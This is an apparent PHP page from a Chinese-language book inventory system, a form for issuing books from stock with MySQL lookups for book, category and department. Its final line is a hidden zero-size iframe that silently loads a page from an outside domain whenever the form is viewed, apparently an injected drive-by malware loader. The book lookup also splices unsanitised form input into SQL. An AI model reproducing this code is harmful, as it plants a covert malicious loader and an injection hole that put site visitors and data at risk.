<?php  //插入數(shù)據(jù)
include "../config.php";
?>

<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="fsckcl1.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle">　發(fā)書出庫</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td width="110" height="5" class="word">&nbsp;</td>
      <td width="375" height="5" align="left" class="word">&nbsp;</td>
      <td width="90" height="5" class="word">&nbsp;</td>
      <td width="210" height="5" align="left" class="word">&nbsp;</td>
    </tr>
<?php
if(!empty($_POST[submit]))
{
$no=$_POST["no"];

if(empty($no))
{
echo "<script language='javascript'>alert('圖書編號不能為空');history.go(-1);</script>";
}

$sql="select * from bookmanagement.books where no='$no'";
$result=mysql_query($sql);

while($rows=mysql_fetch_array($result))
{
?>
    <tr>
      <td width="110" height="35" class="word">　　圖書編號</td>
      <td width="375" height="35" align="left" class="word">
	  <input name="no" type="text" id="no" size="45" value="<?php echo $rows['no'];?>" /></td>
      <td width="90" height="35" align="left" class="word">　圖書類別</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="category" id="category">
	  
	  <?php //圖書類別下拉列表中的內(nèi)容
$sql="select category from category";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["category"].">".$row["category"]."</option>";
}
?>
      </select>      </td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">　　圖書名稱</td>
      <td width="375" height="35" align="left" class="word"><input name="bookname" type="text" id="bookname" size="45" value="<?php echo $rows['bookname']; } } ?>" /></td>
      <td width="90" height="35" class="word">&nbsp;</td>
      <td width="210" height="35" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">　　領(lǐng) 書 人</td>
      <td width="375" height="35" align="left" class="word"><input name="lendpeople" type="text" id="lendpeople" size="25" /></td>
      <td width="90" height="35" align="left" class="word">　領(lǐng)書部門</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="department" id="department">
        <?php //部門下拉列表中的內(nèi)容
$sql="select department from department";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["department"].">".$row["department"]."</option>";
}
?>
      </select></td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">　　批 準 人</td>
      <td width="375" height="35" align="left" class="word"><input name="agreepeople" type="text" id="agreepeople" size="25" /></td>
      <td width="90" height="35" align="left" class="word"> 　領(lǐng)書數(shù)量</td>
      <td width="210" height="35" align="left" class="word"><input name="amount" type="text" id="amount" size="15" /></td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">　　出庫日期</td>
      <td width="375" height="35" align="left" class="word"><input name="outdate" type="text" id="outdate" size="25" /></td>
      <td width="90" height="35" class="word">&nbsp;</td>
      <td width="210" height="35" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="10" class="word">&nbsp;</td>
      <td height="10" align="left" class="word">&nbsp;</td>
      <td height="10" class="word">&nbsp;</td>
      <td height="10" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="67" colspan="4" align="center" class="word">　　　　　　　
        <input type="submit" name="submit" value="發(fā)書出庫" />　　
        　
        <input type="reset" name="Submit3" value="清空內(nèi)容" />
      　　　
      <input name="submit2" type="button" id="submit2" value="返回" /></td>
    </tr>
  </table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>